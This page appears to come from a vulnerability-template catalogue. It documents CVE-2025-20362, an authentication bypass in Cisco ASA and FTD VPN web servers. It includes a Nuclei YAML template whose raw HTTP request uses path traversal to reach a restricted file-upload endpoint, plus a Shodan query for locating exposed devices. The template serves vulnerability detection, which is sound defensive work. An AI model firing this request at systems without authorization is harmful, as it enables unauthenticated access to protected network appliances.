Cisco Secure Firewall ASA & FTD - Authentication Bypass
CVE-2025-20362
Verified
Description
A vulnerability in the VPN web server of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to access restricted URL endpoints that are related to remote access VPN that should otherwise be inaccessible without authentication. This vulnerability is due to improper validation of user-supplied input in HTTP(S) requests.
Severity
Medium
CVSS Score
6.5
Exploit Probability
47%
Affected Product
adaptive-security-appliance-software
Published Date
October 6, 2025
Template Author
dhiyaneshdk, attackerkb, brendan-rsoc
CVE-2025-20362.yaml
id: CVE-2025-20362
info:
name: Cisco Secure Firewall ASA & FTD - Authentication Bypass
author: DhiyaneshDk,attackerkb,brendan-rsoc
severity: medium
description: |
A vulnerability in the VPN web server of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to access restricted URL endpoints that are related to remote access VPN that should otherwise be inaccessible without authentication. This vulnerability is due to improper validation of user-supplied input in HTTP(S) requests.
impact: |
An attacker could exploit this vulnerability by sending crafted HTTP requests to a targeted web server on a device. A successful exploit could allow the attacker to access a restricted URL without authentication.
remediation: |
Update to the latest available version of Cisco Secure Firewall ASA and FTD Software.
reference:
- https://attackerkb.com/topics/Szq5u0xgUX/cve-2025-20362/rapid7-analysis
- https://nvd.nist.gov/vuln/detail/cve-2025-20362
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2025-20362
epss-score: 0.4692
epss-percentile: 0.9768
cwe-id: CWE-862
cpe: cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: cisco
product: adaptive-security-appliance-software
shodan-query: html:"/+CSCOE+/logon.html"
tags: cve,cve2025,cisco,asa,auth-bypass,kev,vkev,vuln
http:
- raw:
- |
POST /+CSCOU+//../+CSCOE+/files/file_action.html?mode=upload&path=foo&server=srv&sourceurl=qaz HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded;boundary=ee
Content-Length: 10
aabbccdd
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert('CSRF token mismatch')"
- "Failed to upload file"
- type: status
status:
- 200
# digest: 4a0a0047304502201a3d08bafdc2b888d2525450c3eb3b091aca968d1f7a66e7f9b32d1596a7cf7e0221009424c70cd1afd6cb2ab19f64b21ff0f4fa2db5597ad276c8c0a803c130f65a98:922c64590222798bb761d5b6d8e729506.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
CVE ID:
cve-2025-20362
CWE ID:
cwe-862
Remediation Steps
Update to the latest available version of Cisco Secure Firewall ASA and FTD Software.